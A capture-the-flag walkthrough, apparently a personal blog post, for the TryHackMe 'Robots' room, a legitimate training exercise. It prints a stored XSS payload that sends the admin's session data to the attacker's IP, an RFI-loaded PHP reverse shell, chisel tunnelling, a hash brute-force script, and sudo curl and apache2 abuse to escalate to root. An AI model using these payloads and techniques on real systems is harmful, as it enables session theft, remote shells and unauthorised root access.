Post

Robots - TryHackMe - Walkthrough

Use XSS, RFI and some cyber skills get a shell on the server and escalate your privileges.

Robots - TryHackMe - Walkthrough

Description

This is a Write-Up for the room https://tryhackme.com/room/robots on TryHackMe. The room is rated as Medium.

Find the user flag then escalate your privileges to root.

Note: Please allow 5 minutes for the VM to fully boot.

Enumeration

I started with a basic nmap scan.

1
sudo nmap -p- -sV -sC -oA nmap/machine -vv 10.10.106.156

There are 3 ports open, one is SSH, the other two are Apache2 servers, if you look closely you probably notice the TTL of the first Apache2 server is 62 and not 63 like SSH, this is a strong indicator that this will be some sort of container.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 (protocol 2.0)
80/tcp   open  http    syn-ack ttl 62 Apache httpd 2.4.61
| http-robots.txt: 3 disallowed entries 
|_/harming/humans /ignoring/human/orders /harm/to/self
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.61 (Debian)
| http-methods: 
|_  Supported Methods: POST OPTIONS HEAD GET
9000/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: Host: robots.thm

As we see in the nmap results, there are 3 leaked directories in the robots.txt file of the Apache2 server at port 80. If you visit /harming/humans and /ignoring/human/orders you will get a HTTP forbidden error. But from the /harm/to/self directory, we are redirected to http://robots.thm/harm/to/self/. I added robots.thm to my /etc/hosts file.

1
echo "10.10.181.45 robots.thm" | sudo tee -a /etc/hosts

If you now reload the page you will see a login and registration page.

The registration page says, that we can create a user, with date of birth and username. I submitted some sample data to test if we can login that way.

We can generate a md5 by running echo -n 'test1111' | md5sum , for me for the user test and the birth date, you guessed it 11/11/1111, this will provide use with the dashboard page.

XSS to admin user

You may notice that the username is displayed and on the registration page stood that the users are monitored by the admin user, this gave me the idea that there may be a XSS vulnerability with the username. To test that I added the following user, I and started a listener with nc -lvnp 9001:

1
<script>fetch("http://10.14.78.229:9001/")</script>

You don’t even need to login and get a request back from the admin which is connecting to us, via our XSS payload.

1
2
3
4
5
6
7
8
9
10
11
$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.14.78.229] from (UNKNOWN) [10.10.181.45] 50486
GET / HTTP/1.1
Host: 10.14.78.229:9001
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/127.0.6533.119 Safari/537.36
Accept: */*
Origin: http://robots.thm
Referer: http://robots.thm/
Accept-Encoding: gzip, deflate

If you login you will also notice that our payload is rendered as HTML:

Although this XSS allows us to send requests from the admin user, we can’t retrieve the cookie of the admin account because it’s HTTPOnly, which means we can’t retrieve it via JavaScript.

To overcome this you can use the Server info page which is accessible if your logged in, the php_info() function displays the cookie in its output.

I build the following XSS payload to retrive the cookie and send it in base64 to my machine. With the payload I registered a new user. I then waited to connect to my listener nc -lvnp 9002 > admin_base64.

1
<script>fetch('/harm/to/self/server_info.php').then(response => {return response.text();}).then(data => {fetch("http://10.14.78.229:9002/"+btoa(data));})</script>

After I recieved the payload I removed the HTTP request headers from the admin_base64 file and decoded the base64 string. And copied the cookie.

1
cat admin_base64| base64 -d | grep PHPSESSID

I modified the cookie of my own session, with the cookie of admin, and reloaded the page.

RFI for initial foothold

Now we are logged in as admin, to see if we have access to any other pages in that directory I used gobuster.

1
2
3
4
5
$ gobuster dir -u http://robots.thm/harm/to/self -w  /usr/share/wordlists/dirb/common.txt 
/admin.php            (Status: 200) [Size: 370]
/css                  (Status: 301) [Size: 319] [--> http://robots.thm/harm/to/self/css/]
/index.php            (Status: 200) [Size: 662]
Progress: 4614 / 4615 (99.98%)

If you access the admin.php page you will see a URL tester, I entered the URL of my machine listener (nc -lnvp 9003) and tried to connect back, right after I interrupted the connection I got an PHP error.

The error is caused by the include() function of PHP, the error is because we didn’t supply a valid file url to include() to load a file. The PHP Manual tells us that we can use this function to include remote PHP files which are executed on the server, this can give us RCE.

I started with building a PHP file to execute the payload. I used https://www.revshells.com/ and the PHP PentestMonkey as a reverse shell and pasted that in rev.php, in my current directory. Edit the IP and port to match your listener.

1
2
3
4
5
6
7
8
9
10
11
$ head rev.php 
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.14.78.229';
$port = 9003;
$chunk_size = 1400;
$write_a = null;

Finally I started a HTTP server…

1
sudo python3 -m http.server 80

…and a listener:

1
nc -lvnp 9003

Next I used http://10.14.78.229/rev.php as the url parameter and got a shell.

1
2
3
4
5
6
7
8
9
10
$ nc -lvnp 9003
listening on [any] 9003 ...
connect to [10.14.78.229] from (UNKNOWN) [10.10.181.45] 55596
Linux robots.thm 5.15.0-118-generic #128-Ubuntu SMP Fri Jul 5 09:28:59 UTC 2024 x86_64 GNU/Linux
 10:43:40 up 43 min,  0 user,  load average: 0.00, 0.02, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@robots:/$

Database dumping

I firstly searched for the config files and the database credentials.

1
2
3
4
5
6
7
8
www-data@robots:/var/www/html/harm/to/self$ cat config.php
cat config.php
<?php
    $servername = "db";
    $username = "robots";
    $password = "THISISFAKE";
    $dbname = "web";
// Get the current hostname

I next uploaded chisel to connect to the database server. The HTTP server from the reverse shell is useful for that.

1
curl -o chisel http://10.14.78.229/chisel && chmod +x chisel

On my machine I started chisel:

1
./chisel server -p 8082 --reverse 

And on the remote I connected via, keep in mind that the shell is likely unusable after that:

1
./chisel client 10.14.78.229:8082 R:socks

Note: Before using proxychains you need to configure the proxy as socks5 127.0.0.1 1080 edit the bottom of /etc/proxychains4.conf

Now you can connect with the default mysql client, use the password from teh already found config file.

1
proxychains mysql -h db -u robots -p

In the web database you now can find the users in the database. You may notice the user rgiskard.

1
2
use web;
select * from users;
1
|  2 | rgiskard | THESECRETHASHTHESECRETHASHTHESECRETHASH | nologin |

The hash in the database looks promising. From the register page before you know that the password is the username+ddmm and if you compare the hashes from our created user and the hash of that user in the database or simply look at the implementation you notice that these hashes are double hashed (Format of the hashes: md5(md5(username+ddmm))). So to find the password of the user rgiskard you need to double hash the username + any date until the hash matches. I made a short python program for that:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import hashlib


target_hash = "THESECRETHASHTHESECRETHASHTHESECRETHASH"

def double_md5(data):
    first_hash = hashlib.md5(data.encode('utf-8')).hexdigest()
    second_hash = hashlib.md5(first_hash.encode('utf-8')).hexdigest()
    return second_hash

def brute_force_double_md5(target_hash, prefix="rgiskard"):
    for i in range(10000):
        num = f"{i:04d}"
        data = prefix + num
        hash_result = double_md5(data)
        if hash_result == target_hash:
            return data
    return None

result = brute_force_double_md5(target_hash)

if result:
    print(f"Found the matching string: {result} with hash {hashlib.md5(result.encode('utf-8')).hexdigest()}")
else:
    print("No match found.")
1
2
python3 find.py 
Found the matching string: rgiskardXXXX with hash THESECRETHASHTHESECRETHASHTHESECRETHASH

You can now use the hash and login with the user rgiskard over ssh:

1
2
3
$ ssh rgiskard@10.10.181.45
rgiskard@10.10.181.45's password: 
rgiskard@ubuntu-jammy:~$

Privilege escalation dolivaw

If you inspect your privileges you will see that you can run curl as the other user dolivaw.

1
2
3
4
5
6
7
8
9
$ sudo -l
[sudo] password for rgiskard: 
Matching Defaults entries for rgiskard on ubuntu-jammy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User rgiskard may run the following commands on ubuntu-jammy:
    (dolivaw) /usr/bin/curl 127.0.0.1/*

With that we can read the flag, in curl you can specify multiple URLs at once so we can append the file path which curl supports too as a URL.

1
2
sudo -u dolivaw /usr/bin/curl 127.0.0.1/harm/to/self/server_info.php file:///home/dolivaw/user.txt
THM{THISISNOTTHEFLAG}

To get a shell as this user you can use -o option which allows you to write to files. We can generate a SSH key and write it to the users .ssh directory.

I generated ssh keys and copied the contents of id_rsa.pub to /tmp/authorized_keys on the server.

1
2
3
4
$ ssh-keygen -t rsa -b 4096     
Generating public/private rsa key pair.
Enter file in which to save the key (/home/kali/.ssh/id_rsa): id_rsa
Enter passphrase for "id_rsa" (empty for no passphrase):

Then I used this command to save the keys to the .ssh directory.

1
sudo -u dolivaw /usr/bin/curl 127.0.0.1/self/harm/ file:///tmp/authorized_keys -o /tmp/a -o /home/dolivaw/.ssh/authorized_keys

Note: I first used ssh-keygen without arguments, but the key generating method wasn’t accepted on the remote machine. Be sure to run the command like above. The Elliptic curve algorithm was not accepted.

Now you can login to the dolivaw account.

1
2
ssh -i id_rsa dolivaw@10.10.181.45 
dolivaw@ubuntu-jammy:~$

Privilege escalation root

As the new user we have new sudo rights.

1
2
3
4
5
6
7
8
$ sudo -l
Matching Defaults entries for dolivaw on ubuntu-jammy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User dolivaw may run the following commands on ubuntu-jammy:
    (ALL) NOPASSWD: /usr/sbin/apache2

We can use the /usr/sbin/apache2. To leak the flag here you need to copy the config file of Apache2, because there is a error in it.

1
cp /etc/apache2/apache2.conf /tmp/apache2.conf

Now comment out line 80 with nano /tmp/apache2.conf to:

1
#DefaultRuntimeDir ${APACHE_RUN_DIR}

Now use the command to use the flag as a config file which will output it:

1
sudo /usr/sbin/apache2  -C "Include /root/root.txt"  -f /tmp/apache2.conf -k start

Note: There are two other ways to gain the root.txt flag, one is using CGI scripts , the other way is using the by the author intended arbitrary file write which can be used to write a SSH public key to gain a shell. Check out the Write-Up of jaxafed to see a detailed walkthrough to solve this challenge that way.

The room was really fun and the stages introduced some difficulties to overcome.

This post is licensed under CC BY 4.0 by the author.